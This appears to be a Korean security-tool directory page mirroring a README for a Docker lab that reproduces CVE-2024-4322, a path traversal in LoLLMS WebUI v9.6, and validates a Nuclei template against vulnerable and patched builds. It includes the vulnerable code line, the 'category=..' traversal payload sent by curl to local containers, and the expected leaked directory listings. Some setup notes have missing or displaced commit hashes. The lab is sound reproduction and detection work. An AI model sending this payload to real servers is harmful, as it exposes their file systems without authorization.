Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC_CVE-2024-4322 — POC_CVE-2024-4322 | Kitploit
도구/GitHubGitHub/mj-bin/poc_cve-2024-4322
Vulnerability AnalysisExploitationWeb SecurityCTFLearning & EducationLabs & Practice
GitHubmj-bin/poc_cve-2024-4322

POC_CVE-2024-4322

POC_CVE-2024-4322

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-4322: LoLLMS WebUI PoC 및 Nuclei 검증 랩

이 저장소는 CVE-2024-4322(LoLLMS WebUI v9.6의 경로 탐색(path traversal) 취약점)를 재현하고, 관련 Nuclei 템플릿이 LoLLMS WebUI v9.8과 일치하지 않음을 검증하기 위한 Docker 기반 로컬 랩을 제공합니다.

이 랩은 로컬, 소유, 또는 명시적으로 승인된 대상에 대해서만 사용하십시오.

취약점 요약

LoLLMS WebUI v9.6의 /list_personalities 엔드포인트는 경로 탐색(path traversal)에 취약합니다. 사용자가 제어하는 category 매개변수는 검증 없이 personalities_zoo_path에 추가됩니다:

root@kitploit:~
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'

category=..를 전송하면 요청이 의도된 personalities 디렉터리를 벗어나 상위 디렉터리의 내용을 나열할 수 있습니다.

예상 취약점 신호:

root@kitploit:~
category=   -> []
category=.. -> response contains "personalities_zoo"

수정된 v9.8 동작은 디렉터리 목록을 생성하기 전에 탐색 입력을 거부합니다.

랩 매트릭스

모든 명령은 이 README가 있는 디렉터리에서 실행하십시오.

Linux 취약 버전 랩

1. 서버 시작

root@kitploit:~
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server

다음 출력을 기다리십시오:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

로그 팔로우를 중지하려면 Ctrl-C를 누르십시오. 컨테이너는 계속 실행됩니다.

2. HTTP 동작 확인

root@kitploit:~
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .

예상 결과:

root@kitploit:~
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]

순서는 다를 수 있습니다. 중요한 신호는 탐색 응답이 대조 응답과 다르며 personalities_zoo를 포함한다는 것입니다.

3. Nuclei로 검증

root@kitploit:~
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug

예상 결과:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

Linux 취약 버전 Nuclei 검증

Linux 패치 버전 랩

1. 서버 시작

root@kitploit:~
docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server

다음 출력을 기다리십시오:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. HTTP 동작 확인

root@kitploit:~
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'

예상 결과:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Nuclei로 검증

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml

예상 결과:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Linux 패치 버전 Nuclei 검증

Windows 취약 버전 랩

이 랩은 Windows 컨테이너 모드의 Docker Desktop이 필요합니다. 아래 명령을 이 디렉터리에서 PowerShell로 실행하십시오.

1. 서버 시작

root@kitploit:~
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server

다음 출력을 기다리십시오:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. HTTP 동작 확인

root@kitploit:~
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."

예상 결과:

root@kitploit:~
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]

순서는 다를 수 있습니다. 중요한 신호는 탐색 응답이 대조 응답과 다르며 personalities_zoo를 포함한다는 것입니다.

3. Nuclei로 검증

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug

예상 결과:

root@kitploit:~
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Windows 취약 버전 Nuclei 검증

Windows 패치 버전 랩

이 랩은 Windows 컨테이너 모드의 Docker Desktop이 필요합니다. 아래 명령을 이 디렉터리에서 PowerShell로 실행하십시오.

1. 서버 시작

root@kitploit:~
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server

다음 출력을 기다리십시오:

root@kitploit:~
Uvicorn running on http://0.0.0.0:9600

2. HTTP 동작 확인

root@kitploit:~
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."

예상 결과:

root@kitploit:~
category=   -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}

3. Nuclei로 검증

root@kitploit:~
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml

예상 결과:

root@kitploit:~
[INF] Scan completed ... 0 matches found.

Windows 패치 버전 Nuclei 검증

정리

Linux 컨테이너:

root@kitploit:~
docker compose --profile patched down --rmi local

Windows 컨테이너:

root@kitploit:~
docker compose --profile windows down

요구 사항

  • Docker 및 Docker Compose.
  • Windows 랩에는 Windows 컨테이너 모드의 Docker Desktop.
  • curl.
  • Linux 취약 버전 HTTP 예제용 jq.
  • 템플릿 검증용 Nuclei.

Linux 호스트에 jq가 없으면 분석 컨테이너를 사용하십시오:

root@kitploit:~
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .

Windows에 Nuclei가 설치되어 있지 않으면 https://github.com/projectdiscovery/nuclei/releases에서 Windows 릴리스 바이너리를 다운로드하고, 압축을 푼 다음 압축 해제된 디렉터리에서 nuclei.exe를 직접 실행하십시오.

랩 설정 참고 사항

Dockerfile은 빌드 중에 과거 설치 프로그램을 패치하므로 오늘날에도 랩을 재현할 수 있습니다:

  • 취약 버전 랩은 lollms-webui의 v9.6 태그를 복제합니다.

  • 패치 버전 랩은 lollms-webui의 v9.8 태그를 복제합니다.

  • lollms_core 서브모듈 URL은 기존 소스 기록이 해당 위치로 이동했기 때문에 https://github.com/ParisNeo/lollms_legacy.git로 다시 작성됩니다.

  • 버전 고정은 업스트림 Git 메타데이터와 대조하여 확인됩니다: v9.6은 e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, v9.8은 8a8e3a1c386321f641a014bf8f7029512ccad411입니다.

    root@kitploit:~
    git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
    
  • 해당 lollms_core 서브모듈 커밋은 각 태그 체크아웃에서 로 확인된 v9.6용 및 v9.8용 입니다.

패치 근거

깨진 불변식은 다음과 같습니다:

root@kitploit:~
resolved path must stay inside the personalities directory

LoLLMS WebUI v9.8 이상은 category 경로가 파일 시스템 디렉터리 목록 로직에 도달하기 전에 이를 검증하거나 제한함으로써 문제를 해결합니다. 실제 배포 환경에서는 LoLLMS WebUI를 버전 9.8 이상으로 업그레이드하십시오.

도구 다운로드
환경버전서비스호스트 URL예상 템플릿 결과
Linux 취약 버전v9.6linux-vuln-serverhttp://127.0.0.1:9600일치
Linux 패치 버전v9.8linux-patched-serverhttp://127.0.0.1:9602불일치
Windows 취약 버전v9.6windows-vuln-serverhttp://127.0.0.1:9601일치
Windows 패치 버전v9.8windows-patched-serverhttp://127.0.0.1:9603불일치
git ls-tree HEAD lollms_core
cfb18f6f1091addf440347322441ab28005a2d3b
6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49
  • 각 랩을 고정된 상태로 유지하기 위해 auto_update 및 auto_sync_* 옵션이 비활성화됩니다.

  • 서버가 프롬프트 없이 시작될 수 있도록 헤드리스 구성 파일이 주입됩니다.

  • 엔드포인트 검증에 필요하지 않은 무거운 종속성은 가능한 경우 건너뜁니다.

  • Windows 설치 프로그램은 임시 디렉터리를 만들고 오래된 재귀 서브모듈을 방지하도록 패치됩니다.